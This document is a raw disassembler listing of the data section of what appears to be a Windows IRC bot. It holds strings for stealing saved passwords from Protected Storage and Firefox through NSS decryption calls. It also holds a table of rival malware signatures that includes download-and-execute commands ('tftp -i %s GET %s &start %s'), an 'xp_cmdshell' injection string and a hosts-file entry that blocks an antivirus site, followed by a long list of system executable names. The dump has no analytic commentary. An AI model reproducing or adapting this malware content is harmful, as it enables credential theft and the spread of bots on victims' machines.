aSNoPstoreEntri	db '%s No PStore entries found.',0 ; DATA XREF: sub_416208+8DAo
dword_43E944	dd 2207325h, 61724528h,	20646573h, 6C74754Fh, 206B6F6Fh
					; DATA XREF: sub_416208+84Eo
		dd 72707845h, 29737365h, 220023Ah, 702F6C28h, 20023A29h
		dd 3A73255Bh, 5D7325h
dword_43E974	dd 2207325h, 74754F28h,	6B6F6F6Ch, 70784520h, 73736572h
					; DATA XREF: sub_416208+80Ao
		dd 20023A29h, 2207325h,	702F6C28h, 20023A29h, 3A73255Bh
		dd 5D7325h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_416208+755o
		align 4
dword_43E9AC	dd 2207325h, 4E534D28h,	2F444920h, 73736150h, 20023A29h
					; DATA XREF: sub_416208+71Do
		dd 2F6C2802h, 23A2970h,	73255B20h, 5D73253Ah, 0
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_416208+5B4o
		align 10h
dword_43E9E0	dd 2207325h, 20454928h,	296C5255h, 2520023Ah, 28022073h
					; DATA XREF: sub_416208+58Fo
		dd 29702F6Ch, 5B20023Ah, 253A7325h, 5D73h
dword_43EA04	dd 2Ch							; sub_416208+518o ...
dword_43EA08	dd 70747468h, 2F3A73hdword_43EA10	dd 70747468h, 2F3Ahdword_43EA18	dd 7274533Ah, 676E69h					; sub_416208+499o
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_416208+467o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_416208+44Do
		align 4
dword_43EA38	dd 2207325h, 20454928h,	206C5255h, 63617448h, 73736563h
					; DATA XREF: sub_416208+428o
		dd 20023A29h, 2207325h,	702F6C28h, 20023A29h, 3A73255Bh
		dd 5D7325h
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_416208+376o
		align 10h
aWs		db '%ws',0              ; DATA XREF: sub_416208+2A3o
asc_43EA74	db '%x',0               ; DATA XREF: sub_416208+1B6o
		align 4
aSFailedToQue_1	db '%s Failed to query PStore.',0 ; DATA XREF: sub_416208+118o
		align 4
dword_43EA94	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh					; sub_416208+1F7o ...
aSPstorecreatei	db '%s PStoreCreateInstance() error.',0 ; DATA XREF: sub_416208+98o
		align 4
aSPstoreNotRunn	db '%s PStore not running.',0 ; DATA XREF: sub_416208+2Co
		align 10h
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_416208+13o
		align 4
aPath		db 'path=',0            ; DATA XREF: sub_416C0B:loc_416D1Fo
		align 4
aNameDefault	db 'name=default',0     ; DATA XREF: sub_416C0B+FAo
		align 4
aProfiles_ini	db '\profiles.ini',0    ; DATA XREF: sub_416C0B+ABo
		align 4
aApplicationDat	db 'Application Data\Mozilla\Firefox',0 ; DATA XREF: sub_416C0B+28o
		align 10h
aSoftwareClient	db 'SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command'
					; DATA XREF: sub_416E02+Fo
		db 0
		align 4
aPl_base64decod	db 'PL_Base64Decode',0  ; DATA XREF: sub_416F48+166o
aPk11_checkuser	db 'PK11_CheckUserPassword',0 ; DATA XREF: sub_416F48+11Bo
		align 4
aPk11sdr_decryp	db 'PK11SDR_Decrypt',0  ; DATA XREF: sub_416F48+109o
aPk11_authentic	db 'PK11_Authenticate',0 ; DATA XREF: sub_416F48+F7o
		align 10h
aPk11_freeslot	db 'PK11_FreeSlot',0    ; DATA XREF: sub_416F48+E5o
		align 10h
aPk11_getintern	db 'PK11_GetInternalKeySlot',0 ; DATA XREF: sub_416F48+D3o
aNss_shutdown	db 'NSS_Shutdown',0     ; DATA XREF: sub_416F48+C1o
		align 4
aNss_init	db 'NSS_Init',0         ; DATA XREF: sub_416F48+B4o
		align 4
aSoftokn3_dll	db 'softokn3.dll',0     ; DATA XREF: sub_416F48+58o
		align 4
aPlds4_dll	db 'plds4.dll',0        ; DATA XREF: sub_416F48+47o
		align 10h
aNspr4_dll	db 'nspr4.dll',0        ; DATA XREF: sub_416F48+24o
		align 4
aNss3_dll	db 'nss3.dll',0         ; DATA XREF: sub_416F48+1Do
		align 4
aPlc4_dll	db 'plc4.dll',0         ; DATA XREF: sub_416F48+18o
		align 4
asc_43EC54	db ': ',0               ; DATA XREF: sub_417149+233o
		align 4
dword_43EC58	dd 46462802h, 73615020h, 23A2973h, 20hdword_43EC68	dd 46462802h, 6C525520h, 20023A29h, 2207325h, 20464628h
					; DATA XREF: sub_417149+155o
		dd 69676F4Ch, 23A296Eh,	20h
dword_43EC88	dd 643223h	off_43EC8C	dd offset byte_633223	; DATA XREF: sub_417149+C2o
dword_43EC90	dd 6769732Fh, 736E6F6Eh, 78742E32h, 74hdword_43ECA0	dd 6769732Fh, 736E6F6Eh, 7478742Eh, 0byte_43ECB0	db 7Eh			; DATA XREF: sub_4175CF:loc_417606r
					; sub_4175CF:loc_417678o
		align 8
		dd offset aRxIrc	; "Rx IRC"
off_43ECBC	dd offset aIrc_0	; DATA XREF: sub_417823+95r
					; sub_417823+A3o
					; "[IRC]: "
		dd offset aRxIrc_c	; "Rx IRC.c"
		dd offset aIrc		; "IRC//"
		dd offset aPiabot	; "PiABot"
		dd offset dword_441E10
		dd offset dword_441E04
		dd offset dword_441DF8
		dd offset dword_441DF0
		dd offset dword_441DE4
		dd offset dword_441DD8
		dd offset dword_441DC8
		dd offset dword_441DBC
		dd offset dword_441DB4
		dd offset dword_441DA4
		dd offset dword_441D9C
		dd offset dword_441D8C
		dd offset dword_441D84
		dd offset dword_441D78
		dd offset dword_441D6C
		dd offset dword_441D60
		dd offset dword_441D54
		dd offset dword_441D48
		dd offset dword_441D38
		dd offset dword_441D28
		dd offset dword_441D18
		dd offset aRxnzm	; "RxNZM"
		dd offset dword_441CF4
		dd offset aRxnzm_b	; "RxNZM.b"
		dd offset a_n_z_m_Irc_p_l ; ".n.z.m. (irc.p.l.g) .. "
		dd offset dword_441CC8
		dd offset dword_441CA8
		dd offset dword_441C9C
		dd offset dword_441C90
		dd offset dword_441C80
		dd offset dword_441C74
		dd offset dword_441C68
		dd offset dword_441C5C
		dd offset dword_441C4C
		dd offset dword_441C40
		dd offset dword_441C38
		dd offset dword_441C2C
		dd offset dword_441C24
		dd offset loc_441C18
		dd offset dword_441C10
		dd offset loc_441C04
		dd offset dword_441BFC
		dd offset dword_441BF4
		dd offset dword_441BEC
		dd offset loc_441BE0
		dd offset aRepFtpd	; "Rep FTPd"
		dd offset aReptileWelcome ; "Reptile welcomes you..."
		dd offset aStnyftpd	; "StnyFtpd"
		dd offset aStnyftpd0wnsJ0 ; "StnyFtpd 0wns j00"
		dd offset aAgobot	; "AgoBot"
		dd offset a220WelcomeToBo ; "220 \"Welcome to Bot FTP service.\"\r\n"
		dd offset aPhatbot	; "PhatBot"
		dd offset a220BotServerWi ; "220 Bot Server (Win32)\r\n"
		dd offset aTftpget_a	; "TFTPGet.a"
		dd offset aTftpISGetSS	; "tftp	-i %s get %s &%s\n"
		dd offset aRxTftp	; "Rx TFTP"
		dd offset aTftp_0	; "[TFTP]"
		dd offset aTftpget_b	; "TFTPGet.b"
		dd offset aCmdCTftpISGetS ; "cmd /c tftp -i %s GET %s &start %s	&exi"...
		dd offset dword_441AD4
		dd offset loc_441AC8
		dd offset dword_441AC0
		dd offset dword_441AB4
		dd offset dword_441AA4
		dd offset dword_441A98
		dd offset dword_441A90
		dd offset dword_441A84
		dd offset dword_441A7C
		dd offset loc_441A70
		dd offset aC101		; "C101"
		dd offset dword_441A5C
		dd offset off_441A58
		dd offset a3GsUT	; "3Ƀt"
		dd offset aNetapi4444bind ; "Netapi4444Bind"
		dd offset dword_441A30
		dd offset off_441A2C
		dd offset dword_441A20
		dd offset aQ8		; "Q8"
		dd offset aWeBackLooooooo ; "We	BaCk LoooooooooooOOOOOOOOOOOOOooo"
		dd offset aRmact	; "RMACT"
		dd offset dword_4419E0
		dd offset dword_4419D0
		dd offset dword_4419C0
		dd offset dword_4419B0
		dd offset dword_4419A0
		dd offset aLinkbot_dcom_b ; "Linkbot.dcom.b"
		dd offset aDcom2_c	; "dcom2.c:"
		dd offset aLinkbot_dcom_c ; "Linkbot.dcom.c"
		dd offset aDcom2	; "dcom2:"
		dd offset aLinkbot_rpc	; "Linkbot.RPC"
		dd offset aRpc_c	; "RPC.c:"
		dd offset aOtherbot_a	; "Otherbot.a"
		dd offset aScan_start	; "scan.start"
		dd offset aOtherbot_b	; "Otherbot.b"
		dd offset aRoot_start	; "root.start"
		dd offset aIroffer_a	; "Iroffer.a"
		dd offset aHttpIroffer_or ; "http://iroffer.org/"
		dd offset aIroffer_b	; "Iroffer.b"
		dd offset aTotalOffered1_ ; "Total Offered: %1.1f MB  Total Transfer"...
		dd offset aIrofferAll	; "Iroffer-All"
		dd offset aSendingYouPack ; "**	Sending	you pack #%i (\"%s\"), which i"...
		dd offset dword_441868
		dd offset dword_441860
		dd offset aMydoom_b	; "MyDoom.B"
		dd offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"...
		dd offset aMydoom_c	; "MyDoom.C"
		dd offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
		dd offset aBlaster	; "Blaster"
		dd offset dword_4417C0
		dd offset aZotobForbotMod ; "Zotob/ForBot Mods"
		dd offset aAddexExinfo	; "AddEx(exinfo)"
		dd offset aWelchia_a	; "Welchia.a"
		dd offset aRpcpatch_mutex ; "RpcPatch_Mutex"
		dd offset dword_441774
		dd offset dword_4417C0
		dd offset dword_441768
		dd offset dword_441754
		dd offset aChangehosts	; "ChangeHosts"
		dd offset a127_0_0_1Www_s ; "\n127.0.0.1\twww.symantec.com\n"
		dd offset dword_441718
		dd offset dword_44170C
		dd offset dword_441704
		dd offset dword_4416F0
		dd offset aPnp_b	; "PNP.b"
		dd offset a8d9f4e40A03d11 ; "8d9f4e40-a03d-11ce-8f69-08003e30051b"
		dd offset aMssql_a	; "MSSQL.A"
		dd offset aThcthcthcthcth ; "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"...
		dd offset aMssql_b	; "MSSQL.B"
		dd offset aExecMaster__xp ; "EXEC master..xp_cmdshell"
		dd offset aWebdav	; "WebDav"
		dd offset loc_44164C
		dd offset aRxMain	; "Rx Main"
		dd offset aMain_0	; "[MAIN]: "
		dd offset aIis5ssl	; "IIS5SSL"
		dd offset byte_441620
		dd offset aVncscan	; "VNCScan"
		dd offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
		dd offset aNetdevil	; "NetDevil"
		dd offset aPleaz_runS	; "pleaz_run%s"
		dd offset aOptix	; "Optix"
		dd offset a022moptestmv1_ ; "022OPtestv1.1\r\n"
		dd offset loc_4415B7+5
		dd offset loc_4415B3+1
		dd offset aOld4444shell	; "Old4444Shell"
		dd offset loc_441598
		dd offset dword_44158C
		dd offset dword_441578
		dd offset dword_441568
		dd offset loc_441554
		dd offset dword_441544
		dd offset loc_441530
		dd offset dword_441520
		dd offset dword_44150C
		dd offset dword_441500
		dd offset loc_4414E8
		dd offset aTaskhider	; "TaskHider"
		dd offset unk_4414C4
		dd offset aBobic_a	; "Bobic.A"
		dd offset aOsamaBinLadenC ; "Osama Bin Laden Captured."
		dd offset aBobic_b	; "Bobic.B"
		dd offset aDonateToTheHur ; "Donate to the Hurricane Katrina relief "...
		dd offset aBeagle	; "Beagle"
		dd offset dword_44144C
		dd offset aMsblast	; "MsBlast"
		dd offset aWindowsupdate_ ; "windowsupdate.com"
		dd offset aLowerzones	; "LowerZones"
		dd offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd offset aHiderGui	; "Hider-Gui"
		dd offset aSoftwareAdrian ; "Software\\Adrian Lopez\\HideWindow\\Prefer"...
		dd offset aHiderun	; "HideRun"
		dd offset aHiderunHiddenA ; "HideRun --	hidden application launcher."...
		dd offset aR57		; "r57"
		dd offset aI2luy2x1zgugph ; "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA"...
		dd offset aC99		; "c99"
		dd offset aR0lgodlhfaauak ; "R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaG"...
		dd offset aDcomOldScan	; "Dcom-Old-Scan"
		dd offset aPipeEpmapper	; "pipe\\epmapper\\"
		dd offset aNircomline	; "NirComLine"
		dd offset aNircomline	; "NirComLine"
		dd offset aMsnbot_a	; "MSNBot.a"
		dd offset aStaticConstCha ; "static const char *msg_english[] =	{"
		dd offset aMsnbot_b	; "MSNBot.b"
		dd offset aImportMsnMsnme ; "#import \"MSN/MSNMessengerAPI.tlb\" named"...
		dd offset aFu_rootkit_a	; "FU.Rootkit.a"
		dd offset aDefineFile_dev ; "#define FILE_DEVICE_ROOTKIT      0x0000"...
		dd offset aFu_rootkit_b	; "FU.Rootkit.b"
		dd offset aConstWcharDevi ; "const WCHAR deviceNameBuffer[]  = L\"\\De"...
		dd offset aFu_rootkit_c	; "FU.Rootkit.c"
		dd offset aStaticCharAc_d ; "static CHAR ac_driverName[] = \"msdirect"...
		dd offset aFu_rootkit_dri ; "FU.Rootkit.Driver"
		dd offset dword_441020
		dd offset aFu_driver_a	; "FU.Driver.a"
		dd offset aRdriv_sys	; "rdriv.sys"
		dd offset aFu_driver_b	; "FU.Driver.b"
		dd offset aMsdirectx_sys ; "msdirectx.sys"
		dd offset aHe4hookrootkit ; "He4HookRootkit-v2.15b"
		dd offset aDefineHe4_hook ; "#define HE4_HOOK_INV_VERSION    0x20001"...
		dd offset aWolf_kit	; "Wolf.Kit"
		dd offset aStrncpyWolffdi ; "strncpy(wolffdir, xdccdir,	MAX_PATH); s"...
		dd offset aFiredaemon_a	; "FireDaemon.a"
		dd offset aCopyrightC2007 ; "Copyright (c) 2007	FireDaemon Technolog"...
		dd offset aFiredaemon_b	; "FireDaemon.b"
		dd offset aHttpWww_fireda ; "http://www.firedaemon.com"
		align 10h
off_43F000	dd offset loc_439030	; DATA XREF: sub_417A90:loc_417B46r
		dd offset aWmsoft_exe	; "wmsoft*.exe"
		dd offset aNview_exe	; "nview.exe"
		dd offset aSview_exe	; "sview.exe"
		dd offset aNvuninst_exe	; "NVUNINST.EXE"
		dd offset aNvsvc32_exe	; "nvsvc32.exe"
		dd offset aNvudisp_exe	; "nvudisp.exe"
		dd offset aNvappbar_exe	; "nvappbar.exe"
		dd offset aNvcolor_exe	; "nvcolor.exe"
		dd offset aNvdspsch_exe	; "nvdspsch.exe"
		dd offset aNvcplui_exe	; "nvcplui.exe"
		dd offset aNwiz_exe	; "nwiz.exe"
		dd offset aKeystone_exe	; "keystone.exe"
		dd offset aHdashcut_exe	; "HDAShCut.exe"
		dd offset aAccwiz_exe	; "accwiz.exe"
		dd offset aActmovie_exe	; "actmovie.exe"
		dd offset aAhui_exe	; "ahui.exe"
		dd offset aAlg_exe	; "alg.exe"
		dd offset aAppend_exe	; "append.exe"
		dd offset aArp_exe	; "arp.exe"
		dd offset aAsr_fmt_exe	; "asr_fmt.exe"
		dd offset aAsr_ldm_exe	; "asr_ldm.exe"
		dd offset aAsr_pfu_exe	; "asr_pfu.exe"
		dd offset aAt_exe	; "at.exe"
		dd offset aAti2evxx_exe	; "ati2evxx.exe"
		dd offset aAti2mdxx_exe	; "Ati2mdxx.exe"
		dd offset aAtmadm_exe	; "atmadm.exe"
		dd offset aAttrib_exe	; "attrib.exe"
		dd offset aAuditusr_exe	; "auditusr.exe"
		dd offset aAutochk_exe	; "autochk.exe"
		dd offset aAutoconv_exe	; "autoconv.exe"
		dd offset aAutofmt_exe	; "autofmt.exe"
		dd offset aAutolfn_exe	; "autolfn.exe"
		dd offset aBlastcln_exe	; "blastcln.exe"
		dd offset aBootcfg_exe	; "bootcfg.exe"
		dd offset aBootok_exe	; "bootok.exe"
		dd offset aBootvrfy_exe	; "bootvrfy.exe"
		dd offset aCacls_exe	; "cacls.exe"
		dd offset aCalc_exe	; "calc.exe"
		dd offset aCharmap_exe	; "charmap.exe"
		dd offset aChcfg_exe	; "ChCfg.exe"
		dd offset aChkdsk_exe	; "chkdsk.exe"
		dd offset aChkntfs_exe	; "chkntfs.exe"
		dd offset aCidaemon_exe	; "cidaemon.exe"
		dd offset aCipher_exe	; "cipher.exe"
		dd offset aCisvc_exe	; "cisvc.exe"
		dd offset aCkcnv_exe	; "ckcnv.exe"
		dd offset aCleanmgr_exe	; "cleanmgr.exe"
		dd offset aCliconfg_exe	; "cliconfg.exe"
		dd offset aClipbrd_exe	; "clipbrd.exe"
		dd offset aClipsrv_exe	; "clipsrv.exe"
		dd offset aClspack_exe	; "clspack.exe"
		dd offset aCmd_exe	; "cmd.exe"
		dd offset aCmdl32_exe	; "cmdl32.exe"
		dd offset aCmmon32_exe	; "cmmon32.exe"
		dd offset aCmstp_exe	; "cmstp.exe"
		dd offset aComp_exe	; "comp.exe"
		dd offset aCompact_exe	; "compact.exe"
		dd offset aConime_exe	; "conime.exe"
		dd offset aControl_exe	; "control.exe"
		dd offset aConvert_exe	; "convert.exe"
		dd offset aCscript_exe	; "cscript.exe"
		dd offset aCsrss_exe	; "csrss.exe"
		dd offset aCtfmon_exe	; "ctfmon.exe"
		dd offset aDcomcnfg_exe	; "dcomcnfg.exe"
		dd offset aDdeshare_exe	; "ddeshare.exe"
		dd offset aDebug_exe	; "debug.exe"
		dd offset aDefrag_exe	; "defrag.exe"
		dd offset aDfrgfat_exe	; "dfrgfat.exe"
		dd offset aDfrgntfs_exe	; "dfrgntfs.exe"
		dd offset aDiantz_exe	; "diantz.exe"
		dd offset aDiskpart_exe	; "diskpart.exe"
		dd offset aDiskperf_exe	; "diskperf.exe"
		dd offset aDllhost_exe	; "dllhost.exe"
		dd offset aDllhst3g_exe	; "dllhst3g.exe"
		dd offset aDmadmin_exe	; "dmadmin.exe"
		dd offset aDmremote_exe	; "dmremote.exe"
		dd offset aDoskey_exe	; "doskey.exe"
		dd offset aDosx_exe	; "dosx.exe"
		dd offset aDplaysvr_exe	; "dplaysvr.exe"
		dd offset aDpnsvr_exe	; "dpnsvr.exe"
		dd offset aDpvsetup_exe	; "dpvsetup.exe"
		dd offset aDriverquery_ex ; "driverquery.exe"
		dd offset aDrwatson_exe	; "drwatson.exe"
		dd offset aDrwtsn32_exe	; "drwtsn32.exe"
		dd offset aDumprep_exe	; "dumprep.exe"
		dd offset aDvdplay_exe	; "dvdplay.exe"
		dd offset aDvdupgrd_exe	; "dvdupgrd.exe"
		dd offset aDwwin_exe	; "dwwin.exe"
		dd offset aDxdiag_exe	; "dxdiag.exe"
		dd offset aEdlin_exe	; "edlin.exe"
		dd offset aEsentutl_exe	; "esentutl.exe"
		dd offset aEudcedit_exe	; "eudcedit.exe"
		dd offset aEventcreate_ex ; "eventcreate.exe"
		dd offset aEventtriggers_ ; "eventtriggers.exe"
		dd offset aEventvwr_exe	; "eventvwr.exe"
		dd offset aExe2bin_exe	; "exe2bin.exe"
		dd offset aExpand_exe	; "expand.exe"
		dd offset aExtrac32_exe	; "extrac32.exe"
		dd offset aFastopen_exe	; "fastopen.exe"
		dd offset aFc_exe	; "fc.exe"
		dd offset aFind_exe	; "find.exe"
		dd offset aFindstr_exe	; "findstr.exe"
		dd offset aFinger_exe	; "finger.exe"
		dd offset aFixmapi_exe	; "fixmapi.exe"
		dd offset aFltmc_exe	; "fltMc.exe"
		dd offset aFontview_exe	; "fontview.exe"
		dd offset aForcedos_exe	; "forcedos.exe"
		dd offset aFreecell_exe	; "freecell.exe"
		dd offset aFsquirt_exe	; "fsquirt.exe"
		dd offset aFsutil_exe	; "fsutil.exe"
		dd offset aFtp_exe	; "ftp.exe"
		dd offset aGb2312_uce	; "gb2312.uce"
		dd offset aGdi_exe	; "gdi.exe"
		dd offset aGetmac_exe	; "getmac.exe"
		dd offset aGpresult_exe	; "gpresult.exe"
		dd offset aGpupdate_exe	; "gpupdate.exe"
		dd offset aGrpconv_exe	; "grpconv.exe"
		dd offset aHelp_exe	; "help.exe"
		dd offset aHostname_exe	; "hostname.exe"
		dd offset aIe4uinit_exe	; "ie4uinit.exe"
		dd offset aIexpress_exe	; "iexpress.exe"
		dd offset aImapi_exe	; "imapi.exe"
		dd offset aIpconfig_exe	; "ipconfig.exe"
		dd offset aIpsec6_exe	; "ipsec6.exe"
		dd offset aIpv6_exe	; "ipv6.exe"
		dd offset aIpxroute_exe	; "ipxroute.exe"
		dd offset aJava_exe	; "java.exe"
		dd offset aJavaw_exe	; "javaw.exe"
		dd offset aJavaws_exe	; "javaws.exe"
		dd offset aJdbgmgr_exe	; "jdbgmgr.exe"
		dd offset aJview_exe	; "jview.exe"
		dd offset aKrnl386_exe	; "krnl386.exe"
		dd offset aLabel_exe	; "label.exe"
		dd offset aLights_exe	; "lights.exe"
		dd offset aLnkstub_exe	; "lnkstub.exe"
		dd offset aLocator_exe	; "locator.exe"
		dd offset aLodctr_exe	; "lodctr.exe"
		dd offset aLogagent_exe	; "logagent.exe"
		dd offset aLogman_exe	; "logman.exe"
		dd offset aLogoff_exe	; "logoff.exe"
		dd offset aLogonui_exe	; "logonui.exe"
		dd offset aLpq_exe	; "lpq.exe"
		dd offset aLpr_exe	; "lpr.exe"
		dd offset aLsass_exe	; "lsass.exe"
		dd offset aMagnify_exe	; "magnify.exe"
		dd offset aMakecab_exe	; "makecab.exe"
		dd offset aMem_exe	; "mem.exe"
		dd offset aMigpwd_exe	; "migpwd.exe"
		dd offset aMmc_exe	; "mmc.exe"
		dd offset aMnmsrvc_exe	; "mnmsrvc.exe"
		dd offset aMobsync_exe	; "mobsync.exe"
		dd offset aMountvol_exe	; "mountvol.exe"
		dd offset aMplay32_exe	; "mplay32.exe"
		dd offset aMpnotify_exe	; "mpnotify.exe"
		dd offset aMqbkup_exe	; "mqbkup.exe"
		dd offset aMqsvc_exe	; "mqsvc.exe"
		dd offset aMqtgsvc_exe	; "mqtgsvc.exe"
		dd offset aMrinfo_exe	; "mrinfo.exe"
		dd offset aMrt_exe	; "MRT.exe"
		dd offset aMscdexnt_exe	; "mscdexnt.exe"
		dd offset aMsdtc_exe	; "msdtc.exe"
		dd offset aMsg_exe	; "msg.exe"
		dd offset aMshearts_exe	; "mshearts.exe"
		dd offset aMshta_exe	; "mshta.exe"
		dd offset aMsiexec_exe	; "msiexec.exe"
		dd offset aMspaint_exe	; "mspaint.exe"
		dd offset aMsswchx_exe	; "msswchx.exe"
		dd offset aMstinit_exe	; "mstinit.exe"
		dd offset aMstsc_exe	; "mstsc.exe"
		dd offset aNarrator_exe	; "narrator.exe"
		dd offset aNbtstat_exe	; "nbtstat.exe"
		dd offset aNddeapir_exe	; "nddeapir.exe"
		dd offset aNerocheck_exe ; "NeroCheck.exe"
		dd offset aNet_exe	; "net.exe"
		dd offset aNet1_exe	; "net1.exe"
		dd offset aNetdde_exe	; "netdde.exe"
		dd offset aNetsetup_exe	; "netsetup.exe"
		dd offset aNetsh_exe	; "netsh.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aNlsfunc_exe	; "nlsfunc.exe"
		dd offset aNotepad_exe_0 ; "notepad.exe"
		dd offset aNslookup_exe	; "nslookup.exe"
		dd offset aNtbackup_exe	; "ntbackup.exe"
		dd offset aNtkrnlpa_exe	; "ntkrnlpa.exe"
		dd offset aNtoskrnl_exe	; "ntoskrnl.exe"
		dd offset aNtsd_exe	; "ntsd.exe"
		dd offset aNtvdm_exe	; "ntvdm.exe"
		dd offset aNw16_exe	; "nw16.exe"
		dd offset aNwscript_exe	; "nwscript.exe"
		dd offset aOdbcad32_exe	; "odbcad32.exe"
		dd offset aOdbcconf_exe	; "odbcconf.exe"
		dd offset aOpenfiles_exe ; "openfiles.exe"
		dd offset aOsk_exe	; "osk.exe"
		dd offset aOsuninst_exe	; "osuninst.exe"
		dd offset aPackager_exe	; "packager.exe"
		dd offset aPathping_exe	; "pathping.exe"
		dd offset aPentnt_exe	; "pentnt.exe"
		dd offset aPerfmon_exe	; "perfmon.exe"
		dd offset aPing_exe	; "ping.exe"
		dd offset aPing6_exe	; "ping6.exe"
		dd offset aPowercfg_exe	; "powercfg.exe"
		dd offset aPrint_exe	; "print.exe"
		dd offset aProgman_exe	; "progman.exe"
		dd offset aProquota_exe	; "proquota.exe"
		dd offset aProxycfg_exe	; "proxycfg.exe"
		dd offset aQappsrv_exe	; "qappsrv.exe"
		dd offset aQprocess_exe	; "qprocess.exe"
		dd offset aQwinsta_exe	; "qwinsta.exe"
		dd offset aRasautou_exe	; "rasautou.exe"
		dd offset aRasdial_exe	; "rasdial.exe"
		dd offset aRasphone_exe	; "rasphone.exe"
		dd offset aRcimlby_exe	; "rcimlby.exe"
		dd offset aRcp_exe	; "rcp.exe"
		dd offset aRdpclip_exe	; "rdpclip.exe"
		dd offset aRdsaddin_exe	; "rdsaddin.exe"
		dd offset aRdshost_exe	; "rdshost.exe"
		dd offset aRecover_exe	; "recover.exe"
		dd offset aRedir_exe	; "redir.exe"
		dd offset aReg_exe	; "reg.exe"
		dd offset aRegcladm_exe	; "REGCLADM.EXE"
		dd offset aRegedt32_exe	; "regedt32.exe"
		dd offset aRegini_exe	; "regini.exe"
		dd offset aRegsvr32_exe	; "regsvr32.exe"
		dd offset aRegwiz_exe	; "regwiz.exe"
		dd offset aRelog_exe	; "relog.exe"
		dd offset aReplace_exe	; "replace.exe"
		dd offset aReset_exe	; "reset.exe"
		dd offset aRexec_exe	; "rexec.exe"
		dd offset aRoute_exe	; "route.exe"
		dd offset aRoutemon_exe	; "routemon.exe"
		dd offset aRsh_exe	; "rsh.exe"
		dd offset aRsm_exe	; "rsm.exe"
		dd offset aRsmsink_exe	; "rsmsink.exe"
		dd offset aRsmui_exe	; "rsmui.exe"
		dd offset aRsnotify_exe	; "rsnotify.exe"
		dd offset aRsopprov_exe	; "rsopprov.exe"
		dd offset aRsvp_exe	; "rsvp.exe"
		dd offset aRtcshare_exe	; "rtcshare.exe"
		dd offset aRtlcpl_exe	; "RTLCPL.EXE"
		dd offset aRunas_exe	; "runas.exe"
		dd offset aRundll32_exe	; "rundll32.exe"
		dd offset aRunonce_exe	; "runonce.exe"
		dd offset aRwinsta_exe	; "rwinsta.exe"
		dd offset aSavedump_exe	; "savedump.exe"
		dd offset aSc_exe	; "sc.exe"
		dd offset aScardsvr_exe	; "scardsvr.exe"
		dd offset aSchtasks_exe	; "schtasks.exe"
		dd offset aSdbinst_exe	; "sdbinst.exe"
		dd offset aSecedit_exe	; "secedit.exe"
		dd offset aServices_exe	; "services.exe"
		dd offset aSessmgr_exe	; "sessmgr.exe"
		dd offset aSethc_exe	; "sethc.exe"
		dd offset aSetup_exe	; "setup.exe"
		dd offset aSetver_exe	; "setver.exe"
		dd offset aSfc_exe	; "sfc.exe"
		dd offset aShadow_exe	; "shadow.exe"
		dd offset aShare_exe	; "share.exe"
		dd offset aShmgrate_exe	; "shmgrate.exe"
		dd offset aShrpubw_exe	; "shrpubw.exe"
		dd offset aShutdown_exe	; "shutdown.exe"
		dd offset aSigverif_exe	; "sigverif.exe"
		dd offset aSkeys_exe	; "skeys.exe"
		dd offset aSmbinst_exe	; "smbinst.exe"
		dd offset aSmlogsvc_exe	; "smlogsvc.exe"
		dd offset aSmss_exe	; "smss.exe"
		dd offset aSndrec32_exe	; "sndrec32.exe"
		dd offset aSndvol32_exe	; "sndvol32.exe"
		dd offset aSol_exe	; "sol.exe"
		dd offset aSort_exe	; "sort.exe"
		dd offset aSpider_exe	; "spider.exe"
		dd offset aSpiisupd_exe	; "spiisupd.exe"
		dd offset aSpnpinst_exe	; "spnpinst.exe"
		dd offset aSpoolsv_exe	; "spoolsv.exe"
		dd offset aSprestrt_exe	; "sprestrt.exe"
		dd offset aSpupdsvc_exe	; "spupdsvc.exe"
		dd offset aStimon_exe	; "stimon.exe"
		dd offset aSubrange_uce	; "subrange.uce"
		dd offset aSubst_exe	; "subst.exe"
		dd offset aSvchost_exe	; "svchost.exe"
		dd offset aSyncapp_exe	; "syncapp.exe"
		dd offset aSysedit_exe	; "sysedit.exe"
		dd offset aSyskey_exe	; "syskey.exe"
		dd offset aSysocmgr_exe	; "sysocmgr.exe"
		dd offset aSysteminfo_exe ; "systeminfo.exe"
		dd offset aSystray_exe	; "systray.exe"
		dd offset aTaskkill_exe	; "taskkill.exe"
		dd offset aTasklist_exe	; "tasklist.exe"
		dd offset aTaskman_exe_0 ; "taskman.exe"
		dd offset aTaskmgr_exe	; "taskmgr.exe"
		dd offset aTcmsetup_exe	; "tcmsetup.exe"
		dd offset aTcpsvcs_exe	; "tcpsvcs.exe"
		dd offset aTelnet_exe	; "telnet.exe"
		dd offset aTftp_exe	; "tftp.exe"
		dd offset aTlntadmn_exe	; "tlntadmn.exe"
		dd offset aTlntsess_exe	; "tlntsess.exe"
		dd offset aTlntsvr_exe	; "tlntsvr.exe"
		dd offset aTourstart_exe ; "tourstart.exe"
		dd offset aTracerpt_exe	; "tracerpt.exe"
		dd offset aTracert_exe	; "tracert.exe"
		dd offset aTracert6_exe	; "tracert6.exe"
		dd offset aTscon_exe	; "tscon.exe"
		dd offset aTscupgrd_exe	; "tscupgrd.exe"
		dd offset aTsdiscon_exe	; "tsdiscon.exe"
		dd offset aTskill_exe	; "tskill.exe"
		dd offset aTsshutdn_exe	; "tsshutdn.exe"
		dd offset aTwunk_16_exe	; "twunk_16.exe"
		dd offset aTwunk_32_exe	; "twunk_32.exe"
		dd offset aTypeperf_exe	; "typeperf.exe"
		dd offset aUnlodctr_exe	; "unlodctr.exe"
		dd offset aUpnpcont_exe	; "upnpcont.exe"
		dd offset aUps_exe	; "ups.exe"
		dd offset aUser_exe	; "user.exe"
